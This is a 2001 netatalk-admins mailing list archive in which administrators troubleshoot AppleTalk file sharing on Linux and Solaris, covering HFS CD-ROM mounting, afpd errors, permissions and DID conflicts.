From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: sharing a mounted HFS volume
Date: Tue, 10 Apr 2001 22:16:16 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <Pine.SOL.4.33.0104101105550.13874-100000@cha.chem.gla.ac.uk>
In-Reply-To: <Pine.SOL.4.33.0104101105550.13874-100000@cha.chem.gla.ac.uk>
MIME-Version: 1.0
Message-Id: <01041101340207.15849@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id TAA07966

On Tue, 10 Apr 2001, Jonathan Paisley wrote:
> On Mon, 9 Apr 2001, Rob Lineweaver wrote:
> 
> I've managed to get HFS cdroms under linux (2.2.17) to work fine.
> 
> # mount -t hfs /dev/cdrom /mnt/hfscd -o ro,afpd
> 
> You'll need to adjust the volume name in AppleVolumes as appropriate.
> Here's a script that does that (I've got /mnt/hfscd in my fstab as above):
> [not the neatest of scripts but it seems to work]
> 
> #!/bin/sh
> 
> #offset 85 is start of volume name
> 
> if mount /mnt/hfscd; then
> 
> VOL=`cat /mnt/hfscd/.AppleDouble/.Parent | cut -b 87-106 | tr -d '\0'`
> 
> cat > $HOME/.AppleVolumes <<EOT
> /mnt/hfscd "$VOL"
> EOT
> 
> fi
> 
> Beware that with some versions of netatalk, afpd will die when accessing
> files on such a filesystem. I'm using pre5 (with permissions patch) and
> it's fine.

Thanks a lot!

The afpd option works.
But then I stumpled into that "afpd death" at AppleShare mount attempt. (I was using
1.4b2+asun2.1.3.)
So after downloading the 1.5pre5 sources, configuring (with --with-shadow option!), compiling and
installing I could successfully mount the CD on my Mac.

Regarding your script:
I found the volume name not at offset 85 or 87 but at 218!
I'm still using kernel 2.2.13 (SuSE 6.3).

Thanks and kind regards

	Carsten

From netatalk.administrators-errors@umich.edu  Tue Apr 10 23:58:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA16597
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 10 Apr 2001 23:58:21 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA26629
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 10 Apr 2001 23:58:21 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA26602
	for netatalk.administrators-members@umich.edu; Tue, 10 Apr 2001 23:58:20 -0400 (EDT)
Received: from iremia.univ-reunion.fr (iremia.univ-reunion.fr [194.199.73.10])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA26292
	for <netatalk-admins@umich.edu>; Tue, 10 Apr 2001 23:58:09 -0400 (EDT)
Received: from univ-reunion.fr (clapas [194.199.73.34])
          by iremia.univ-reunion.fr (8.9.1a/jtpda-5.3.1/jlo(98)) with ESMTP id HAA25404
          for <netatalk-admins@umich.edu>; Wed, 11 Apr 2001 07:58:03 +0400 (GMT+4)
Sender: Gerard.Gachelin@univ-reunion.fr
Message-ID: <3AD3D59B.43CBDA12@univ-reunion.fr>
Date: Wed, 11 Apr 2001 07:55:07 +0400
From: =?iso-8859-1?Q?G=E9rard?= Gachelin <Gerard.Gachelin@univ-reunion.fr>
Organization: =?iso-8859-1?Q?Universit=E9?= de la =?iso-8859-1?Q?R=E9union?=
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.8 sun4u)
X-Accept-Language: fr, en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: problem starting afpd
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------msE5E7C8DE8787B9123AEF3A47"

This is a cryptographically signed message in MIME format.

--------------msE5E7C8DE8787B9123AEF3A47
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

Hello,

I just installed netatalk 1.4b2+asun2.1.4 on an Ultrasparc server
running Solaris 8 (compilation with the Sun C compiler).

When afpd starts, it sends the following message in /var/adm/messages :

Apr 11 07:54:15 helios afpd[610]: [ID 272954 daemon.error]
uam_load(uams_dhx.so): failed to load: ld.so.1:
/usr/local/netatalk/sbin/afpd: fatal: relocation error: file
/usr/local/netatalk/etc/uams/uams_dhx.so: symbol __eprintf: referenced
symbol not found

Thanks for any help.
-- =

G=E9rard GACHELIN                          e-mail : gg@univ-reunion.fr =

Universit=E9 de la R=E9union                 T=E9l: 0262 93 82 72 =

15, Avenue Ren=E9 Cassin - BP 7151         Fax: 0262 93 82 60
97715 Saint-Denis MESSAG-CEDEX 9
--------------msE5E7C8DE8787B9123AEF3A47
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIH9gYJKoZIhvcNAQcCoIIH5zCCB+MCAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BckwggKYMIICAaADAgECAgMEPf0wDQYJKoZIhvcNAQEEBQAwgZIxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhh
d3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwg
RnJlZW1haWwgUlNBIDIwMDAuOC4zMDAeFw0wMTAyMjIxMjM5NTFaFw0wMjAyMjIxMjM5NTFa
MFExHzAdBgNVBAMTFlRoYXd0ZSBGcmVlbWFpbCBNZW1iZXIxLjAsBgkqhkiG9w0BCQEWH0dl
cmFyZC5HYWNoZWxpbkB1bml2LXJldW5pb24uZnIwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJ
AoGBAKuc1nbYFt+3JumY3IgjqjBubtfEJq7hUlc3AvT4YgvUZLGM8d1NZFA4NOW99XHogNGX
KtlITgGE1oxjAy/BNe3UX6H6xfahVcbytouwXnsLMewVYIdXETQ6X0Eqf5Zu82ro7d0xs2GH
SvYxFHGj5eD4AXmMxRqLBIRXmnTsvS8RAgMBAAGjPDA6MCoGA1UdEQQjMCGBH0dlcmFyZC5H
YWNoZWxpbkB1bml2LXJldW5pb24uZnIwDAYDVR0TAQH/BAIwADANBgkqhkiG9w0BAQQFAAOB
gQDSfIFuEQit8eZQl93dX81Km6EfQMd8sioWp7hRAa+YT6MWUSG0cqSZ3q4fwc2/ueDaMG1m
KEsrQM9amwYR8489ioDxXYO0rumLWwDn+NdeGq6lpfzPLXIaLeAC9/vfudn6yrSc8EzYBhoL
NluhVukL0r8tHbYSRsg2ssnEZrOE0jCCAykwggKSoAMCAQICAQwwDQYJKoZIhvcNAQEEBQAw
gdExCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUg
VG93bjEaMBgGA1UEChMRVGhhd3RlIENvbnN1bHRpbmcxKDAmBgNVBAsTH0NlcnRpZmljYXRp
b24gU2VydmljZXMgRGl2aXNpb24xJDAiBgNVBAMTG1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFp
bCBDQTErMCkGCSqGSIb3DQEJARYccGVyc29uYWwtZnJlZW1haWxAdGhhd3RlLmNvbTAeFw0w
MDA4MzAwMDAwMDBaFw0wMjA4MjkyMzU5NTlaMIGSMQswCQYDVQQGEwJaQTEVMBMGA1UECBMM
V2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xDzANBgNVBAoTBlRoYXd0ZTEdMBsG
A1UECxMUQ2VydGlmaWNhdGUgU2VydmljZXMxKDAmBgNVBAMTH1BlcnNvbmFsIEZyZWVtYWls
IFJTQSAyMDAwLjguMzAwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAN4zMqZjxwklRT7S
bngnZ4HF2ogZgpcO40QpimM1Km1wPPrcrvfudG8wvDOQf/k0caCjbZjxw0+iZdsN+kvx1t1h
pfmFzVWaNRqdknWoJ67Ycvm6AvbXsJHeHOmr4BgDqHxDQlBRh4M88Dm0m1SKE4f/s5udSWYA
LQmJ7JRr6aFpAgMBAAGjTjBMMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFQcml2YXRlTGFi
ZWwxLTI5NzASBgNVHRMBAf8ECDAGAQH/AgEAMAsGA1UdDwQEAwIBBjANBgkqhkiG9w0BAQQF
AAOBgQBzG28mZYv/FTRLWWKK7US+ScfoDbuPuQ1qJipihB+4h2N0HG23zxpTkUvhzeY42e1Q
9DpsNJKs5pKcbsEjAcIJp+9LrnLdBmf1UG8uWLi2C8FQV7XsHNfvF7bViJu3ooga7TlbOX00
/LaWGCVNavSdxcORL6mWuAU8Uvzd6WIDSDGCAfUwggHxAgEBMIGaMIGSMQswCQYDVQQGEwJa
QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xDzANBgNVBAoT
BlRoYXd0ZTEdMBsGA1UECxMUQ2VydGlmaWNhdGUgU2VydmljZXMxKDAmBgNVBAMTH1BlcnNv
bmFsIEZyZWVtYWlsIFJTQSAyMDAwLjguMzACAwQ9/TAJBgUrDgMCGgUAoIGxMBgGCSqGSIb3
DQEJAzELBgkqhkiG9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTAxMDQxMTAzNTUwN1owIwYJKoZI
hvcNAQkEMRYEFCfv56o2/NIVRFqWgIHFmFTY/wzpMFIGCSqGSIb3DQEJDzFFMEMwCgYIKoZI
hvcNAwcwDgYIKoZIhvcNAwICAgCAMAcGBSsOAwIHMA0GCCqGSIb3DQMCAgFAMA0GCCqGSIb3
DQMCAgEoMA0GCSqGSIb3DQEBAQUABIGAX/yTFeqdG62pPduNLyd/0kcsSCu+wF87mo7MD3R+
KpDQNwiD/ecuBHPd4H+W8dPkJMzM33Mz6C3j0O33jVlPpPFaQzKlrLLXjVaM+Jo/2ZU0QJoC
cEzHu/e/QflC/ECRetK4c4eMHr8ypnw2sZascFIlPBvc6w8rLX0coIn7k+A=
--------------msE5E7C8DE8787B9123AEF3A47--


From netatalk.administrators-errors@umich.edu  Wed Apr 11 05:37:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA24662
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 11 Apr 2001 05:37:37 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA09767
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 11 Apr 2001 05:37:30 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA09741
	for netatalk.administrators-members@umich.edu; Wed, 11 Apr 2001 05:37:30 -0400 (EDT)
Received: from local (customer-host-145.yellowspace.net [213.183.5.145])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id FAA09677
	for <netatalk-admins@umich.edu>; Wed, 11 Apr 2001 05:37:27 -0400 (EDT)
Received: from [213.183.5.146] ([213.183.5.146] verified) by local (Stalker SMTP Server 1.7) with ESMTP id S.0000015828 for <netatalk-admins@umich.edu>; Wed, 11 Apr 2001 11:39:53 +0200
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <a04310102b6f9d5e038cc@[192.168.1.201]>
In-Reply-To: <v04210100b6f74a12fe2e@[216.155.36.73]>
References: <3116406356.986663917@[192.168.1.2]>
 <v04210100b6f74a12fe2e@[216.155.36.73]>
Date: Wed, 11 Apr 2001 11:37:35 +0200
To: netatalk-admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: Re: Filename Length Trickery
Content-Type: text/plain; charset="us-ascii"

At 7:17 Uhr -0400 09.04.2001, Ryan McBeth wrote:
>	Alon,
>
>	In all honesty, one of the best ways to fix this problem involves no programming at all.
>	Use Social engineering.
>
>	Let your employees know, through their employee handbook, or their initial training, that you can't make filenames greater than 31 characters.
>
>	Believe it or not, this approach can work.
>
>	Ryan

Did You try this patch on Your customers as well?

;;-)

Lorenzo

From netatalk.administrators-errors@umich.edu  Wed Apr 11 05:43:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA24771
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 11 Apr 2001 05:43:27 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA21150
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 11 Apr 2001 05:43:20 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA21127
	for netatalk.administrators-members@umich.edu; Wed, 11 Apr 2001 05:43:20 -0400 (EDT)
Received: from local (customer-host-145.yellowspace.net [213.183.5.145] (may be forged))
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id FAA21070
	for <netatalk-admins@umich.edu>; Wed, 11 Apr 2001 05:43:18 -0400 (EDT)
Received: from [213.183.5.146] ([213.183.5.146] verified) by local (Stalker SMTP Server 1.7) with ESMTP id S.0000015832 for <netatalk-admins@umich.edu>; Wed, 11 Apr 2001 11:45:44 +0200
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <a04310103b6f9d6825ee9@[192.168.1.201]>
In-Reply-To: <5.0.2.1.2.20010409114219.00a5ad20@fred.net>
References: <5.0.2.1.2.20010409114219.00a5ad20@fred.net>
Date: Wed, 11 Apr 2001 11:43:26 +0200
To: netatalk-admins@umich.edu
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: Re: permissions, eh?
Content-Type: text/plain; charset="us-ascii"

At 12:06 Uhr -0400 09.04.2001, Walt wrote:
>Can anyone tell me what I have to do
>for the files that my mac creates to
>have correct permissions? I am running
>the 1.4b2+asun build and this part of it
>has always worked in the past but now
>after upgrading to and then downgrading
>from 1.5pre5 permissions are 664
>instead of 775 or 774, which is causing
>some real annoying problems.

I've only had some problems with directories in the past - but what about
chmod 2771 for dirs (which makes the group stick to the files and dirs created inside a folder), and
chmod 660 for files?

I had also to set the umask in each user's shell profile (i set it to 117).

At my site it works fine - occasionally I have to run a script to resume the rights - since Netatalk has no setting like samba's <force new unix dir / file mode>...

Are your mac clients writing software for Your UX? Why do you need them 2 be executable?

:-)

Lorenzo

From netatalk.administrators-errors@umich.edu  Wed Apr 11 06:11:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA25338
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 11 Apr 2001 06:11:24 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA27894
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 11 Apr 2001 06:11:23 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA27868
	for netatalk.administrators-members@umich.edu; Wed, 11 Apr 2001 06:11:23 -0400 (EDT)
Received: from dns2.northox.ac.uk (dns2.northox.ac.uk [195.194.168.132])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA27812
	for <netatalk-admins@umich.edu>; Wed, 11 Apr 2001 06:11:21 -0400 (EDT)
Received: from mail.northox.ac.uk (mail.northox.ac.uk [195.194.168.139])
	by dns2.northox.ac.uk (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id KAA29991
	for <netatalk-admins@umich.edu>; Wed, 11 Apr 2001 10:11:05 GMT
Received: from BANBURY1/SpoolDir by mail.northox.ac.uk (Mercury 1.48);
    11 Apr 01 11:07:20 +0000
Received: from SpoolDir by BANBURY1 (Mercury 1.48); 11 Apr 01 11:06:39 +0000
Received: from [192.168.3.51] (192.168.3.51) by mail.northox.ac.uk (Mercury 1.48) with ESMTP;
    11 Apr 01 11:06:30 +0000
Mime-Version: 1.0
X-Sender: tallett@192.168.1.2
Message-Id: <p05010402b6f9dd77dd33@[192.168.3.51]>
Date: Wed, 11 Apr 2001 11:10:10 +0100
To: netatalk umich <netatalk-admins@umich.edu>
From: trevor allett <tallett@northox.ac.uk>
Subject: is it possible (new to list)
Content-Type: multipart/alternative; boundary="============_-1225138681==_ma============"

--============_-1225138681==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

...Hi,
I just need to know if i am barking up the wrong tree or not,

i have a server running SuSE Linux 7 with Netatalk, everything works 
well and there are no problems,

so far so good.

What i want to do is have access to two shares (on the same server), 
one that is my own personal area and one which is the "MacAdmin" area 
that other members of IT Support have access to, so far i have 
managed this by using the 
"AppleVolumes"-file-in-the-home-directory-of-each-user trick and this 
works if i then create a group that only I and "MacAdmin" belong to 
and the permissions on each of our home directories are; drwxrws--- . 
the only problem is that the Network Trash Folder keeps appearing as 
a drop box with a regularity that i haven't been able to pin down 
yet, it seems to be some thing to do with who owns  the Network Trash 
Folder on the others volume, if you see what I mean.

any way thanks for listening,

-- 
==============================
Trevor Allett
IT Support unit
North Oxfordshire College,
Banbury,
Oxfordshire.	United Kingdom.
=======================================
============================================
This message may contain information which is legally privileged
and/or confidential. If you are not the intended recipient, you
are hereby notified that any unauthorised disclosure, copying,
distribution or use of this information is strictly prohibited.
Such notification notwithstanding, any comments or opinions
expressed are those of the originator, not of
North Oxfordshire College and School of Art,
unless otherwise explicitly stated.
=================================================================
--============_-1225138681==_ma============
Content-Type: text/html; charset="us-ascii"

<!doctype html public "-//W3C//DTD W3 HTML//EN">
<html><head><style type="text/css"><!--
blockquote, dl, ul, ol, li { margin-top: 0 ; margin-bottom: 0 }
 --></style><title>is it possible (new to list)</title></head><body>
<div>...Hi,</div>
<div>I just need to know if i am barking up the wrong tree or
not,</div>
<div><br></div>
<div>i have a server running SuSE Linux 7 with Netatalk, everything
works well and there are no problems,</div>
<div><br></div>
<div>so far so good.</div>
<div><br></div>
<div>What i want to do is have access to two shares (on the same
server), one that is my own personal area and one which is the
&quot;MacAdmin&quot; area that other members of IT Support have access
to, so far i have managed this by using the<i>
&quot;AppleVolumes&quot;-file-in-the-home-directory-of-each-user</i>
trick and this works if i then create a group that only I and
&quot;MacAdmin&quot; belong to and the permissions on each of our home
directories are; drwxrws--- . the only problem is that the Network
Trash Folder keeps appearing as a drop box with a regularity that i
haven't been able to pin down yet, it seems to be some thing to do
with who owns&nbsp; the Network Trash Folder on the others volume, if
you see what I mean.</div>
<div><br></div>
<div>any way thanks for listening,</div>
<hr>

<div>-- <br>
==============================<br>
Trevor Allett<br>
IT Support unit<br>
North Oxfordshire College,<br>
Banbury,<br>
Oxfordshire.<x-tab>&nbsp;&nbsp;&nbsp;&nbsp; </x-tab>United Kingdom.
<br>
=======================================<br>
============================================<br>
This message may contain information which is legally privileged<br>
and/or confidential. If you are not the intended recipient, you<br>
are hereby notified that any unauthorised disclosure, copying,<br>
distribution or use of this information is strictly prohibited.<br>
Such notification notwithstanding, any comments or opinions<br>
expressed are those of the originator, not of<br>
North Oxfordshire College and School of Art,<br>
unless otherwise explicitly stated.<br>
=================================================================</div
>
</body>
</html>
--============_-1225138681==_ma============--

From netatalk.administrators-errors@umich.edu  Wed Apr 11 10:31:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA02654
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 11 Apr 2001 10:31:40 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA15137
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 11 Apr 2001 10:31:40 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA15118
	for netatalk.administrators-members@umich.edu; Wed, 11 Apr 2001 10:31:39 -0400 (EDT)
Received: from nernst.chem.gla.ac.uk (nernst.chem.gla.ac.uk [130.209.221.174])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA15061
	for <netatalk-admins@umich.edu>; Wed, 11 Apr 2001 10:31:37 -0400 (EDT)
Received: from london.chem.gla.ac.uk ([130.209.221.166] ident=jonp)
	by nernst.chem.gla.ac.uk with esmtp (Exim 2.02 #2)
	id 14nLeh-00040E-00; Wed, 11 Apr 2001 15:31:35 +0100
Received: from localhost (jonp@localhost) by london.chem.gla.ac.uk (8.8.7/feedernode) with ESMTP id PAA03307; Wed, 11 Apr 2001 15:31:29 +0100 (BST)
X-Authentication-Warning: london.chem.gla.ac.uk: jonp owned process doing -bs
Date: Wed, 11 Apr 2001 15:31:29 +0100 (BST)
From: Jonathan Paisley <jonp@chem.gla.ac.uk>
To: Carsten Neumann <deltor@snafu.de>
cc: <netatalk-admins@umich.edu>
Subject: Re: sharing a mounted HFS volume
In-Reply-To: <01041101340207.15849@athlet>
Message-ID: <Pine.SOL.4.33.0104111526140.3246-100000@london.chem.gla.ac.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Tue, 10 Apr 2001, Carsten Neumann wrote:

> The afpd option works. But then I stumpled into that "afpd death" at
> AppleShare mount attempt. (I was using 1.4b2+asun2.1.3.) So after
> downloading the 1.5pre5 sources, configuring (with --with-shadow
> option!), compiling and installing I could successfully mount the CD
> on my Mac.

Great!

I remember that this thing used to work with 1.4b2+asun2.1.3 but then
stopped. I suppose the HFS filesystem module was perhaps changed between
now and then.

> Regarding your script:
> I found the volume name not at offset 85 or 87 but at 218!
> I'm still using kernel 2.2.13 (SuSE 6.3).

Hmmn. Maybe the AppleDouble format has changed a little in the HFS
filesystem driver.  I must admit that I haven't actually used that script
since 1.4b2+asun2.1.3 stopped working :) And now you mention it, I also
notice that I didn't keep the comments up to date particularly well!

Glad you got it working!

> On Tue, 10 Apr 2001, Jonathan Paisley wrote:
> > On Mon, 9 Apr 2001, Rob Lineweaver wrote:
> >
> > I've managed to get HFS cdroms under linux (2.2.17) to work fine.
> >
> > # mount -t hfs /dev/cdrom /mnt/hfscd -o ro,afpd
> >
> > You'll need to adjust the volume name in AppleVolumes as appropriate.
> > Here's a script that does that (I've got /mnt/hfscd in my fstab as above):
> > [not the neatest of scripts but it seems to work]
> >
> > #!/bin/sh
> >
> > #offset 85 is start of volume name
> >
> > if mount /mnt/hfscd; then
> >
> > VOL=`cat /mnt/hfscd/.AppleDouble/.Parent | cut -b 87-106 | tr -d '\0'`
> >
> > cat > $HOME/.AppleVolumes <<EOT
> > /mnt/hfscd "$VOL"
> > EOT
> >
> > fi
> >
> > Beware that with some versions of netatalk, afpd will die when accessing
> > files on such a filesystem. I'm using pre5 (with permissions patch) and
> > it's fine.
>

-- 
Jonathan Paisley
jonp@chem.gla.ac.uk


From netatalk.administrators-errors@umich.edu  Wed Apr 11 11:00:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA03799
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 11 Apr 2001 11:00:29 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA00135
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 11 Apr 2001 11:00:26 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA00085
	for netatalk.administrators-members@umich.edu; Wed, 11 Apr 2001 11:00:24 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA29774
	for <netatalk-admins@umich.edu>; Wed, 11 Apr 2001 11:00:23 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkkho03054
	for <netatalk-admins@umich.edu>; Wed, 11 Apr 2001 15:00:10 GMT
Received: from [153.39.168.155] by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: ippool168-155.corp.us.uu.net [153.39.168.155])
	id QQkkhn15646
	for <netatalk-admins@umich.edu>; Wed, 11 Apr 2001 14:59:19 GMT
Mime-Version: 1.0
X-Sender: zer0@mail.mac.com
Message-Id: <a05100902b6fa1fad6844@[153.39.168.155]>
Date: Wed, 11 Apr 2001 10:58:53 -0400
To: netatalk-admins@umich.edu
From: David <zer0@mac.com>
Subject: Error message + files disappearing
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

I've noticed folders disappearing recently on on the my netatalk 
servers.  I looked at /var/log/messages and found some errors like 
this:

Apr 11 10:44:01 macsupport afpd[771]: WARNING: DID conflict for 
'Nostalgia' and 'Eudora Folder'. Are these the same file?
Apr 11 10:44:32 macsupport last message repeated 5 times
Apr 11 10:44:57 macsupport last message repeated 6 times

Some of the behavior I noticed.  Somehow the 'Nostalgia' folder just 
showed up in place of 'Eudora folder'.  Meanwhile the folder is 
called 'Eudora Folder' in Unix... Eventually the folders disappeared 
and its "parent" folder went with it. Then other folders further up 
the hierarchy begin to disappear...this is bad.  I don't have any 
clue what a DID conflict is but it seems to be a huge problem.  Other 
folders that don't seem to have an associated DID conflict are going 
away as well.  Luckily this is a temporary storage location and not a 
production box with lots of users!

If anyone has some ideas I would love to here all about them.

Thanks,

David Shaub.

From netatalk.administrators-errors@umich.edu  Wed Apr 11 11:57:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA05834
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 11 Apr 2001 11:57:51 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA17790
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 11 Apr 2001 11:57:51 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA17728
	for netatalk.administrators-members@umich.edu; Wed, 11 Apr 2001 11:57:49 -0400 (EDT)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id LAA17538
	for <netatalk-admins@umich.edu>; Wed, 11 Apr 2001 11:57:46 -0400 (EDT)
Received: (qmail 3815 invoked by alias); 11 Apr 2001 15:57:47 -0000
Received: (qmail 3803 invoked by uid 0); 11 Apr 2001 15:57:46 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by potsdam.edu with SMTP; 11 Apr 2001 15:57:46 -0000
Subject: Re: Error message + files disappearing
From: Matthew Keller <kellermg@potsdam.edu>
To: David <zer0@mac.com>
Cc: netatalk-admins@umich.edu
In-Reply-To: <a05100902b6fa1fad6844@[153.39.168.155]>
References: <a05100902b6fa1fad6844@[153.39.168.155]>
Content-Type: text/plain
X-Mailer: Evolution/0.10+cvs.2001.04.11.08.00 (Preview Release)
Date: 11 Apr 2001 11:57:38 -0400
Message-Id: <987004658.3108.1.camel@comp10574.potsdam.edu>
Mime-Version: 1.0

    What version of Netatalk?

On 11 Apr 2001 10:58:53 -0400, David wrote:
> I've noticed folders disappearing recently on on the my netatalk 
> servers.  I looked at /var/log/messages and found some errors like 
> this:
> 
> Apr 11 10:44:01 macsupport afpd[771]: WARNING: DID conflict for 
> 'Nostalgia' and 'Eudora Folder'. Are these the same file?
> Apr 11 10:44:32 macsupport last message repeated 5 times
> Apr 11 10:44:57 macsupport last message repeated 6 times
> 
> Some of the behavior I noticed.  Somehow the 'Nostalgia' folder just 
> showed up in place of 'Eudora folder'.  Meanwhile the folder is 
> called 'Eudora Folder' in Unix... Eventually the folders disappeared 
> and its "parent" folder went with it. Then other folders further up 
> the hierarchy begin to disappear...this is bad.  I don't have any 
> clue what a DID conflict is but it seems to be a huge problem.  Other 
> folders that don't seem to have an associated DID conflict are going 
> away as well.  Luckily this is a temporary storage location and not a 
> production box with lots of users!
> 
> If anyone has some ideas I would love to here all about them.
> 
> Thanks,
> 
> David Shaub.
> 
> 

-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam

http://mattwork.potsdam.edu/


